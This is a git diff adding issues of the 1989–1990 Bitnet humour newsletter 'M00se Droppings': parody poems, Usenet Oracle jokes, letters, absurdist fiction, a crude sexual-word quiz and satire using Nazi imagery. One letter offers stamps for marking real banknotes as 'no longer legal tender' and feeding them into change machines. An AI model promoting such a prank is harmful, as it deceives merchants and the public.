those "chargers" they sped +With Pop Chemistry safe + in his water-trough sled. +Just a micro-sec later + Electroscopes showed +Charged particles coming + to our lab abode. +We raced back inside + And what do you think? +Down the fume-hood Pop Chem fell, + right into the sink. +He was dressed in a lab coat, + quite ragged and old +With removable buttons + (the style, we're told!) +A tray full of beakers + he clutched to his heart +And under his arm, + was an orbital chart. +His eyes, through his goggles, + I just couldn't see, +His hands were all yellow + from H-N-O-3. +His head was quite bald + with a fringe all around +Like a ring test for iron, + the same shade of brown. +He puffed a cigar + with a smell not at all +Unlike the organic lab + right down the hall. +The smoke billowed forth + from his angular face +And with Brownian movement, + enveloped the place. +He was thin as a match + and not terribly tall +He wasn't the type + I'd expect at all. +But a look at his clothes, + in the lab's harsh white light, +With their acid burned holes- + He's a chemist all right! +He didn't say much + (he had no time to kill) +And filled all the test tubes + with nary a spill. +Then placed them back + on the benches with care +He dashed to the fume hood + and rose through the air. +He called to his team + and his ions took off +And kinetics took care + of Pop Chem in his trough. +But I heard him cry out + as he flew down the street +"Merry Christmas to all, + may your stockrooms stay neat!" + +Compliments of my old Chem prof!! + Irish DreamM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Poems Written for Chemistry 103 + by: The Mad Poet +************************************************************************* + + Chem. 103 + +I think that I will never be +Awake for morning Chemistry. +The monotonal lecturing +Could put to sleep most anything. + +While lofty theorems fall like rain, +My concentration starts to wane. +As I drift off, I wonder why +A lecture beats a lullaby. + + + + + Ode to a Chem. Prof. + +A prof. who makes frequent mistakes +Likes to think that he has what it takes. +So he's made up a ruse +To cover his goofs - +He's just keeping his classes awake! + + + + + Classroom Chills + +Through classes near and classes far, +Through classes new and old, +I wish that Building Maint'nance +Wouldn't keep the rooms so cold! + +For even though I know the cold +Should keep us all awake, +Quite groggily I find that +I've begun to hibernate. + +And as I watch my breath condense - +In steaming clouds it blows - +I realize I have icicles +A-forming on my nose. + +The danger is that, though +My being here *might* help me pass, +*Survival* may be tough +With hypothermia in class! + + + + + Full-Professorship + +The Doctor had a lecture class, +But he was such a dud +That every time he lectured there, +His words were clear as mud. + +He didn't give a syllabus +To his befuddled class, +And actually he didn't care +If anybody passed. + +If everybody failed - +Why it was in all of the rules - +He'd just go on next year +To fail another bunch of fools. + +What rule could let him do this? +If you said, "It's age!" well then you're +Getting close because +What our dear Doctor has is *tenure*! + + + + + The Party + +Please, oh my friends, please don't veto my plan. +Please don't just tell me to stow it. +I really don't think the professor would mind. +In fact, shucks, he just wouldn't know it. + +I know you all want to be learning in class +About vectors and gas density, +But what would it hurt if you took the day off +And started a party with me? + +We would smuggle refreshments inside our bookbags. +We'd have walkmans for music galore. +We would spread ourselves out there behind the back rows, +And party there on the floor! + +We'd have chips and wine coolers and pretzels and beer, +Soda and pizza and wings. +We would listen to music and play five card stud - +Why, we could do most anything. + +The professor's so out of it, he'd just teach class +To the few die hard students remaining. +I really don't think that he'd notice at all +That his classroom attendance was waning. + +So please, oh my friends, please don't veto my plan: +You know how much fun it would be +To spread yourselves out there behind the back rows +And come have a party with me. + + + + +A Health Hazard + +For those poor infirm members of our happy little class, +For those who carry books of more than half their body mass, +For those who, weak of heart and lung, do dwell upon these lines, +I have a word of warning you might ponder in your minds. + +The Surgeon General has said that smoking isn't good, +And all of you have heard him, and yes, most have understood. +But yet another danger lurks! You should be made aware +Of the hazard that exists in climbing much too many stairs. + +As you climb up, your pulse and breathing rates leap up so high, +That you can feel a heart attack is lurking just nearby. +Since you abuse your muscles, both your legs begin to cramp; +Because you sweat profusely, soon your clothing is quite damp. + +The stairs outside the lecture hall: a good example, true, +And climbing all six flights of stairs cannot be good for you. +So all health-conscious students - never mind trying to pass! +You shouldn't risk a heart attack - unite and boycott class! + +The Mad Poet is a creation of Kirsten Anderson, (LoreleiM00se) V123P62M@UBVMS +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + TWEEZE DENIED BEEF WORKER ISTHMUS + (twas the night before christmas) + +Tweeze denied beef worker isthmus, winnow Trudy how's, +Snot agreed juries during, gnaw Tiffany moss. + +This talking swear unbided Gemini wit cairn +Hint opus scenic (alas!) sinewy dare. + +Unjelled runner nozzle tools smuggling deer butts +Well fissions unshoe kerplunks thence endear huts. + +Anemometer cur chiffon dyeing mayhap, +Adjust subtle warp reins fairy loin winger snap. + +Winnow taunted launderer roast sachet glitter +Ice brine bromide bet deucey woodwinds schemata. + +Await Tudor widower blue lacking flesh, +Door roping tier shatters untrue hump these ash. + +Demonian depressed often knew felines know +Gaffe cholesterol metier due abjects elope. + +Wane wood tummy wandering ice shittah pear, +Vital men etchers lay mandate tidy Rainier. + +Whittle it whole dolt river salival equipt, +Sinewy mom aunt isthmus bee-stain nicked. + +Mere rabbit-torn evils whose gorses became +Any weaseled end shuttered, uncool tomboy maim. + +"Node azure! No Dunce era! No France urine fixing! +Uncommit! And cubit! Andante ran vexing! + +Toady tipoff deport chew detypify well! +Gnaw dish aweigh, dish aweigh, dish aweigh awl!" + +Asked relieves dot beef forty whiled hurry queen fry, +Wind emit wooden apse stickle, mountie-desk eye, + +Sew-up two-deep how stop duck horsers dubloon, +Witty slave fallow toils, ascend nickel loss due. + +Ant tending at weakling - why hurt honor roof? +A brain sinning Boeing effete shiney huff. + +Aside ruin mayhap untwist darning neuron +Bounding gym knee-scent knick (alas!) game winning pound. + +Iwis tressed woolen furze promise etuis food, +Anus closed whorled varnished wood asses in suits. + +Abound olived oils (egad!) flunk honor speck, +Any luck lockup addler chest (hope?) nimbus peck. + +Assai Saudi twin calloused temples amore! +Exchequer lachryosis, whizz snows locket jury. + +Estrual litter mouse wash thrown applique beau, +Amdahl biered honest Genesis weight hostess know. + +Distempered ape pie pea yelled tiding is steed, +Undies mocha answer cul de sac lackey reed. + +Egad! Abroad fastener litter hound bully +Achoo! quaintly left, lacking bull feeling jolly. + +Iwis champion blimp -- arrayed chilly wool delve, +Any left whinney sow hymn, enspied off Moselle. + +An oink office sigh unto whist office hood +Swoon gamey tonneau ahead knitting two tread. + +Ease poke naught award, Beduoin strayed duets orc, +Infield eldest tuggings; interned witty chert, + +End lioness fanger a sight office gnus, +Ant gibbon unknot, upon chimpanzee rows. + +Hasp Rangoon is lay, due esteem guava wistful, +Ending weight day elf loo, lacking town ova tassle; + +Buddy herding explain air hedge rowboat design, +"Hopping rich musty woolen due awl incondite!" +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Hey there! Hi there! Ho there! *SMACK* *SMACK* *SMACK* + (The Mickey Mouse Club in the Spanish Inquisition) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +-------------------------------------------------------------------------- +The Usenet Oracle has pondered your question deeply. +Your question was: + +> Why did I just shit in my pants? Did anyone else do it too? + +And in response, thus spake the Oracle: + +} Yes, most people in your area also did -- a low-frequency sound wave +} caused sympathetic vibrations that made many people lose control of +} their anal sphincters. Don't be ashamed! + [ed. note - Hmm! It appears THEY are developing NEW ways to control us! +I could envision lots of possibilities for crowd control fnord here! ;^) -Pat] +-------------------------------------------------------------------------- +> Every night while she sleeps, my girlfriend slowly changes into a +> shapeless blob of pulsating flesh, still wrapped in her own skin. By +> morning she is herself again, and apparently none the wiser. Should I +> tell her about this? + +And in response, thus spake the Oracle: + +} Nah. + +-------------------------------------------------------------------------- +> I hope the Oracle has the answer to this most difficult question: Why +> does my 25 year old son keep seeing a girl that he has broken up with +> and only gives him grief? A puzzled mother wants to know! + +And in response, thus spake the Oracle: + +} Hold it, the Oracle needs to switch modes for this one. What was the +} magic word for the German Psychaiatrist again? Oh yes: Goot Zex! Goot +} Zex! Goot Zex! Goot.. +} +} [blur blur blur] +} +} Ja! Dat ees much better! Vell, ve schall see joost vat ees vrong vit +} your son, Frau Vorryvart. +} +} He ees 25 years old, eh? I vould say dat he is doing just vhat he damn +} vell pleases, den! Actually, he ees seeing zis girl solely for der +} poorpose of making you und nutzkopf. You should haff never given him +} such a vhipping over that broken bowl vhen he vas drei years old. +} +} Actually, eef you vould just meet zis girl vitout your son around, you +} vould see she ain't so bat after all, eh? +} +} So, quit meddling vit his bizness, unt get on vit your more pressing +} matters, like vhen ees he going to produce some grandtchildren ver you +} und Herr Vorryvart. +} +} Now, how vas dat I get back to zee normal Oracle? Oh ja, Veert Answers! +} Veert Answers! Veert Answers! Veert... +} +} [blur blur blur] +} +} You owe the Oracle a better German accent. + +-------------------------------------------------------------------------- +> What would be a good question to ask you? + +And in response, thus spake the Oracle: + +} To start off, that WAS a good question. +} +} Other good questions include... +} Why is the soap dish always in line with the water in the shower? +} What is the correct response to "Thanks for calling!" +} What is the correct response to "What's up?" +} Do we have the right to an attorney being present on Judgment Day? +} Why did Ronald Reagan have to wait until AFTER he left office to +} have his brain fixed? +} Why do health food fanatics not look so healthy? +} Was Manuel Noriega any fun when he was a kid? +} If diamonds tasted like chocolate, would people actually eat them? +} Why don't acoustic guitars have wa-wa sticks? +} Whatever happened to the manned Mars mission Bush promised us? +} Why do smokers think they have the right to litter the world with +} cigarette butts? +} Why are places that are open 24 hours have locks on the doors? +} Why does the lighter flame drop to an unusable height every time you try +} to do a bong load? +} +} Just to get you started. +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + Maybe next decade..... :-) +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Will be sent under separate cover, as this issue is quite large already, +(And I don't have it yet from Darkling M00se! :) ) +-------------------------------------------------------------------------------- +-- Christmas Issue and Last Issue of the 1980's! Wow, eh? Pretty hefty stuff! -- +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se37 b/textfiles.com/magazines/M00SE/m00se37 new file mode 100644 index 00000000..9d4b8751 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se37 @@ -0,0 +1,452 @@ +-------------------------------------------------------------------------------- +Overdue Issue - Overdue Issue - Overdue Issue - Overdue Issue - Overdue Issue - +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #37| Disclaimer: The Editors will place almost anything in |Jan 27, 1990 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: Max Handelsman + and Johnathan Clemens + or + AND Joanne Rosenshein + IF you've written your letter home already, + AND your younger brother is going out in the company of + another boy this weekend, + But you're NOT getting a haircut, + THEN move your clothes to the lower peg. Simple, no? :) + M00se List updates and changes: Herschm00se the Beanmeister + + (This space to let): Contact WarM00se +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Hi there! + Happy New Decade, and all that rot! + Sorry this is late in getting out, but I've been busy with the first +week of classes. (I know, some of you have been in school for 3 weeks, but do +you know what I have to say about that? PPPPPPHHHHHHHFFFFFFFFFFFFTTTTTTTT!!!!! +You should have gone to Buffalo! ;^) + Not much else to say, here. + Enjoy! Welcome back! And send in submissions! :) + -Pat/DangerM00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Bl00p! +Hello to all my fellow members.. +Thought I'd write and tell you all how fnording happy I am to be a member! +Oh yes, I have some questions for all you m00ses out there. +Wh0 should I consider asking to become a m00se? +Need they be M00sy, or is lunacy a adequate substitute? +I only ask because I am wondering about several people I know.. +I also wonder (for security reasons) about asking others, who might not be as +sympathetic to M00se ideals..I myself am completely in agreement with M00se +ideas, ideals, morals, and other such nonsensical items. I think. Well, maybe. +Does it really matter? Does anything really matter? Why are we here? What's +it all about? Is the meaning of life really 42? +Can any M00ses out there help me? I am lost in the infinite m00se space. +So you see, I really am lost. What do I do? +Can anyone help?! If so, please send a check or money order to me, +to: +The Hungarian M00se +Box W1198 Wheaton College +Norton, MA. 02766 +Please try to help, send whatever you can.. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +I wish to address in this text a certain matter that came up in a Relay +conversation with a fellow M00se one very early, groggy morning. Perhaps, +spake he, we would be able to further the interests of the M00se Illuminati by +appointing Honorary Membership. In a sudden rush of eager interest and +adrenalin that toppled my late-late nightcap of Dr. Pepper and Vivarin from its +resting place atop my stereo, I quickly tapped out a reply on my ages-old +keyboard and volunteered to take up the job. It would certainly merit some +amount of feverish effort, as there must be quite a few people who exist who +deserve recognition for M00seworthy accomplishments, we agreed. + +And so, Brethren of the M00se Illuminati, I come to you. Perhaps you know of +someone, celebrity or not, from the media, music industry, literary circle, +lunchtime crowd, silver screen, family tree, etc. etc. who you feel deserves to +be awarded a title of Honorary M00sedom for Exemplary Behaviour or Achievements +Characteristic of the Ideals and Interests of the M00se Illuminati. + +Garry Trudeau. Max Headroom. Frank Zappa. Mr. Rogers. Mojo Nixon. Uncle +Lewis. Anybody. + +Send ye the name of any ONE proposed Honorary M00se to me, Ice Lord, care of +DICRESCE@CTSTATEU, with the reason or m00selike-contribution to their field of +speciality you attribute to this M00se-to-be, and maybe a line or two of +healthy eulogism, and I shall compile a list of the Honorary M00ses to present +in an upcoming edition of M00se Droppings. + + Ice Lord + DICRESCE@CTSTATEU +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Hello everybody. Contrary to what some people say ("The decade doesn't change +until '91, nyah nyah!"), the Nineties are here. And it's going to have to be +the Decade of Something. It could be the Cyberpunk Decade; it could be the +Kinder, Gentler Decade. Or, heaven help us all, it could be the Decade of the +Martin. + +I have an idea. An idea that's been oozing around in my brain for a while now. +I'd like to know what you think. + +Let's make this the Decade of the M00se. + +Really. I mean it. Let's make the M00se Illuminati a real, legitimate +organization with official records, membership lists, etc. No dues yet, unless +maybe we assign an initial cost to begin membership, to cover the cost of ID +cards or something like that. + +Most importantly, though, a Snail Mail newsletter -- something akin to M00se +Droppings (but not replacing it, or the fine alternative publication M00se +Drool), but printed on -paper- and mailed directly to your own home via third- +class bulk mail permits. + +Who knows? What could we have in the future? A lobbyist in Washington? +Voting power? CIA spies in our midst? M00se Illuminati agents in the CIA? +This would most definitely outdo the Martins for good. The Martins, by the +way, declared themselves the victors in the M00se/Martin War of a year or so +ago through an amendment in their constitution. Let's prove them wrong. + +What I want is any ideas you can think of about this proposal -- whether or not +it's a good idea at all, how much you think you'd be willing to pay for initial +membership and/or the newsletter, ideas to name the newsletter, and so on. I'd +also like some information -- how many m00ses are you aware of at your +university (or just around somewhere) who do *not* have Bitnet access, but who +would be interested in the ideas I've mentioned? I'm trying to get some idea +of how big we *really* are. + +Please mail said comments directly to me (Pickle) at DICKSON@HARTFORD.BITNET. + +And let's make this decade one they won't be able to talk about without +picturing antlers. + Pickle +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +Greetings, + I just got as a present for the holidays a Air Brush. SalmonM00se and +I have been working out a M00se T-shirt so if we come up with something I'll +let you know. (That is of course if you are interested :-) + Adieu + - Goblin + +BTW: About a MTAT How about holding it in May and having it at a State Forest? +(Or perhaps in even warmer weather later in May) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + We now have a NEW person in the sacred position of Royal Keeper of the +List. Her real name is Jenine Pittenger, and she's a brand new (official) m00se! +You can see her address and stuff in the masthead (The part at the top of the +newsletter that you all skip over every time because you think you've read it +before, so you don't notice that I change it every time. ;^) ) + She is taking over for Darkling/I-Man Negus M00se, who succumbed to the +urge to go out and earn money. (Geez! The thing some people will do just to EAT +these days! I don't know.....) + Please direct all future list changes to her. + Welcome aboard, Jenine! :) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + I finally got my Mom an account! :) She's going to be getting M.D. on a +regular basis, now! (Gee, think we should...uh...y'know...tone it down a bit?) + NAAAAAAAAAAAAAAH! :) + Her name is Emilie Manning, and her account is CHILDS@OSWEGO.OSWEGO.EDU +and she LOOOOOOVES to get mail! (That's a hint! :) See, she's just learning how +to use the system, and I think she needs to be swamped with new mail/friends!) + So send her something. Say hi! Ask her what it's like to be the mother +of DangerM00se/Patrick G. Salsbury (Super Genius)! Blame HER for me being the +way I am! ;^) + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + I think the M00se List at UMNEWS consumed itself. What say we get a +Listserv set up, and get a PROPER m00se discussion set up? Or a M00se discussion +group on the NEWS system in UNIX? (We just got that installed here at UB, it's +NICE! We could link the listserv and the NEWSgroup, so if you weren't able to +access NEWS, you could still participate easily. + What say? + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Yo dude, and bl00pski.... + +I seem to recall in a not so distant issue of M00se Dr0ppings, that +someone mentioned the pandemonium of getting a rubber stamp together +that said something to the effect of: + + THIS BILL HAS BEEN RECLAIMED BY THE U.S. + TREASURY DEPT. FOR DESTRUCTION. DO NOT + HONOR. IT IS NO LONGER LEGAL TENDER. + +And then going around stamping all the $$$ we could lay our hands on. +Feeding $1 bills into change machines, and then getting more bills for +the change, stamping them, and feeding them in, ad infinitum. Well, +one of the questions raised was "Where can we get them?" My fellow +m00ses, that question has been answered. I now work for the Cole Key +Company, in the Maine Mall, in South Portland. One of my jobs is key +carving, and another is the fashioning of rubber stamps. Right there +in the store. I've already made a template, and I'm going to cook my +first prototype soon. If successful, I will gladly make copies for +any and all m00ses interested in this wonderfully heinous mischief. +However, I will have to charge the base price for the stamp and the +mounting, which is $5 + tax, and there will be some postage involved +too. But that is so little, compared to the amount of chaos we can +cause, don'tcha think??? Please forward any and all requests to me, +Mitya the Red M00se, and please include a mailing address. I will +acknowledge, and request payment sent first, since I have to pay for +them when I make them. Fair 'nuf? Good. Happy government toppling to +everyone, and bl00pski!!!! + Mitya the Red M00se, + IP85033@PORTLAND.BITNET +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + I just purchased a copy of "The Illuminati Papers" by Robert Anton +Wilson. It's GREAT! I'll be posting things from it here in the future. + Also, I just got a catalog yesterday, which has two audio tapes in it by +Robert Anton Wilson. One is "Religion For The Hell Of It" and the other is "The +Acceleration Of Knowledge: The Jumping Jesus Phenomenon" I'm probably going to +get them. + They have lots of other tapes, too. Interesting stuff! + The catalog is from SoundsTrue, and if you want one, call: + 1-800-835-2246 Ext. 275 + -Pat +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- +Stella returns..... + + So Stella and I were sitting at the dining room table, having a +nice chat. That is, I was having a nice chat - she was stirring her coffee. +This was rather distracting, as she was stirring it with a live chameleon, but +I suppose it *was* the most effective method of getting the last of the arsenic +to dissolve. It likes to stay at the bottom in this slushy mass. You know +what I mean. + So I asked Stella how she managed to get down from over the mantel- +piece. She replied by quoting the Virginia Beach phone directory, +Dzierzanowska through Ellenbogen, then popping out her glass eye and tossing +it into the coffee mug. In case you're wondering, it's violet. The eye, I +mean. Her real one's olive drab,so the glass one really compliments the +color. + So anyhow, I never did find out how she got down in the short week I +was gone. I noticed that the apple was gone from her nose, though. Maybe +that had something to do with it. Since the conversation was going nowhere, +I picked up the newspaper and began to read the more credible articles to her. +There was one in particular that caught my eye...hers too, when the chameleon +tried to escape by pitching the glass eye at the paper and squirming violently. +It was very effective. The article, I mean. The chameleon ended up back in the +mug, upside-down. It didn't struggle much after that. + The article was about something that happened in my home town while I +was there on my visit. Seems that Jed Cummins was out slopping the hogs one +evening when he saw some bright lights in the sky, seeming to head for the East +Podunk Town Hall. He got on the horn to the police chief, who mildly suggested +that he lay off the corn husk cigars for a while. Jed wasn't so easily put off +though, and he jumped into his Chevy 4X4 and high-tailed it into town. Right +after he pulled up in front of the Town Hall, a huge glowing egg materialized +out of a cloudbank and settled down onto the roof of the New Podunk Theatre +(erected in 1939). When he was asked later how he reacted at that point, Jed +replied, "Wal, shoot! I ain't never gonna get them stains out'n the +upholstery." + After it came to rest, the giant egg split open and ramps extended down +to street level. Then, according to eyewitnesses (Jed and a wino in the alley +behind the theater), roughly 85,000 aliens marched out clutching blast guns +and cans of Right Guard (tm). They pointed the guns at Jed and ordered him not +to interfere, then they all sprayed the Right Guard into the air at once. + After that they trooped back into the egg and took off. According to +this newspaper (wonderful, the quality of journalism you can find at the +checkout counter!), the sudden concentrated release of fluorocarbons into the +atmosphere has ripped a huge hole in the ozone layer, which extends over much +of the eastern seaboard. As a result, anyone living here will either die of +cancer in thirty years or will mutate into higher life forms. Stella's already +a mutant, so she doesn't have to worry. As for me, I'm going to go live in +Finland and eat irradiated reindeer meat, so I'm not worried either. Got to +build up a resistance to that sort of thing. + Just to show that good things also happen in East Podunk, the other +major effect of the alien invasion is that no one in the whole county will +ever have body odor ever again. See - and cancer's not all that bad. + "I feel like a swim," Stella said after I'd finished the article. +Whereupon, she dove into the coffee mug and commenced to do the backstroke. +What a kidder. Then she climbed out, dried herself off on the curtains, and +picked her teeth with the chameleon. I really must teach that girl some +manners - imagine picking your teeth in public. Ah well. + +Enjoy, +L0relei +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +From The Hungarian M00se + + CIVIL SERVICE EXAM + "STATE WORKER"- (ALL LEVELS) + +Name: +Score: + +INSTRUCTIONS: +Study each question carefully. Then, choose the answer that seems most correct +("True" or "False") and mark an "X" (just like you sign your name) in the +appropiate space at the right. + + TRUE / FALSE + +1. A clitoris is a type of flower. ___ +2. Pubic hair is a wild rabbit. ___ +3. "Spread Eagle" is an extinct bird. ___ +4. Vagina is a medical term used to describe heart trouble. ___ +5. A menstrual cycle has three (3) wheels. ___ +6. A "G" string is part of a violin. ___ +7. Semen is another term for "sailors". ___ +8. Anus is the Latin word for "yearly". ___ +9. Testicles are found on an octopus. ___ +10. Asphalt describes rectal troubles. ___ +11. Masturbate is used to catch large fish. ___ +12. KOTEX is a radio station in Bryan, Texas . ___ +13. Coitus is a musical instrument. ___ +14. Fetus is a character on "Gunsmoke". ___ +15. An umbilical cord is part of a parachute. ___ +16. A condom is an apartment complex. ___ +17. An orgasm is the person who accompanies the choir in a + church. ___ +18. A diaphragm is a drawing in geometry. ___ +19. A dildo is a variety of sweet pickle. ___ +20. An erection is when the Japanese vote for their new + government officials. ___ +21. A lesbian is a person from the Middle East. ___ +22. Sodomy is a special kind of fast-growing grass. ___ +23. Pornography is the business of making record albums. ___ +24. Genitals are people of non-Jewish origins. ___ +25. Douche is the Italian word for "twelve". ___ +26. An enema is someone who is not your friend. ___ +27. Ovaries are a French egg dish make with cheese. ___ +28. Scrotum is a small planet near Uranus. ___ +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + DO WHAT THOU WILT SHALL BE THE WHOLE OF THE LAW + + It has recently come to my attention that rock-n-roll has filthy +lyrics dangerous to the moral developments of young Americans. E.g.: + + Hush, now, b*by, b*by, don't you cry + m*ther's gonna make all of your nightmares come true + m*ther won't let anyone dirty you + m*ther's gonna keep you right here unde her wing + she won't let you fly, but she might let you sing + m*ther's gonna keep b*by healthy and clean.... + + That's right, even Pink Floyd contributes to the myth that humans are +viviparous animals breeding at random, and that the loftiest pinnacle of +human enlightenment, SOCIAL STRUCTURE, is founded in the mire of ....ahem, +CERTAIN unprintable biological relations, congresses, and (ahem) intercourses +between (gasp) human reproductive systems. + + Obviously, concerned m00ses, it is in your best interest to see that +all references to s...e...x are removed from the Library of Congress and all +their other squalid hiding places over the globe, and BURNED! Yes, and +while we're at it we can burn a few witches! + + OK, now that such rock-and-rubbish is covered, we must interdict all +DRUGS! We all know that DRUGS are bad for you and have no purposes other +converting sweet Norman ROckwell models into ravening leather-and-Spandex +swathed sexually florid bass players. Just like Geddy Lee. We know drugs +are bad. Ronald and Nancy told us so, and Ronald and Nancy would never, +ever distort the facts for their personal gain. Politicians simply don't DO +things like that in America. Politicians, policemen, and defenders of mental +and moral hygiene NEVER act to increase their privileges or tighten the grip +of the ruling minority on the common citizen at the expense of Constitutional +rights! + + Note to Reagan Youth: Use Secret Decoder Rings to translate this +month/s BITNET pogrom update. Any personnel not reporting to duty with +at least one fresh human scalp and a clean armband will be shot. + + Yes, we have to interdict ALL DRUGS from this fair country, and +relax with the healthy, nonviolent, sanity-conducive measures of caffeine, +alcohol, and nicotine. Except everyone over forty years of age and $50,000 +of income, who are entitled to prescription sleeping pills to commit +suicide with. + + LOVE IS THE LAW, LOVE UNDER WILL. + + ps: All flag-burners will be summarily convicted of High Treason, +and sent to the Allentown Correctional Facility for Incineration. Anyone +who posts a message with the word ""BONG"" in it will be brainwashed and +subjected to phone-tapping, for their own protection, just as soon as we +can get the police dogs off their throats. + + Patriotically Yours --- + Ubersturmfuhrer Danforth Quayle, S.S. + V126HN32@UBVMS.BITNET +-------------------------------------------------------------------------------- +******************************* MEET THE M00SES ******************************** +-------------------------------------------------------------------------------- + Chapter Name : Andrew Winden + Nickname : Mathm00se + Life Form : Usually human, (very scary in the morning) + Sex : Male, but I like to have it as often as possible + Net Address : AW7383@BROCK1P Purity Quotient: __~45% + Description : Very close to humanoid, but not close enough + to have a birth certificate. + + Favorite Saying: All I want is <.. anything applicable here ..> + 'my alarm clock to work' + 'some Kool-Aid left' + etc.... + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Chapter Name : Phil DeGrandis + Nickname : StangM00se + Life Form : Definitely not human + Sex : Hopefully as soon as possible. :-) + Net Address : PD6662@BROCK1P Purity Quotient __~63 + Description : Big, soft, and loud like a m00se should be. + + Favorite Saying: Lets take my car --or-- I hate it when people + open their doors into my car. + + bl00p BL00P BL000000P DAMMIT! + fry_m00se +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +I was told by saM@UAFSYSB who at the time was on relay as Spamalope although I +believe his name is Sam Huntsman to write you concerning a new chapter of M00SE +Illuminati I wish to form. I believe I am qualified to be a member.. I have +read much of the suggested reading, seen all of Monty Python's films, and +besides that, I am willing to do almost anything to get recognized as a +chapter, including stealing, cheating, lying, murder, arson, pillage, rape (so +I'm good at lying), and all other sorts of MEAN AND NASTY VICIOUS THINGS!!!!! +So anyways, thank for your time, and if this is the wrong person to write to, +just tell me so I can search down that spamalope pouf and shoot him.. +Thank you and good night. +Lyman Green Jr. +Box W1198 Wheaton College +Norton, Massachusetts +02766 +Bitnet:lgreen@wheatnma + +Now officially known as: The Llama on relay, and my new nick for the chapter +is The Hungarian M00se. +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + Will be sent along under seperate cover, as it's pretty long, and we're +getting the whole thing updated by Herschm00se the Beanmeister. :) I'll send it +along as soon as I get it. +-------------------------------------------------------------------------------- +Overdue Issue - Overdue Issue - Overdue Issue - Overdue Issue - Overdue Issue - +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se38 b/textfiles.com/magazines/M00SE/m00se38 new file mode 100644 index 00000000..526a2b4d --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se38 @@ -0,0 +1,478 @@ +-------------------------------------------------------------------------------- +TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue Issue - TREMENDOUSLY Overdue I +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #38| Disclaimer: The Editors will place almost anything in |Feb 19, 1990 +---------- this newsletter out of a frantic desire to fill the -------------- +issue, so don't blame them for the quality or content of the submissions. Except +-ing those they may have written themselves, the enclosed items do not in any +way represent the Editors' fnord opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +************************************* STAFF ************************************ +-------------------------------------------------------------------------------- + Editor - Patrick Salsbury + Submissions to: DangerM00se + Back issue requests: Max Handelsman + and Johnathan Clemens + or + AND Joanne Rosenshein + M00se List updates and changes: 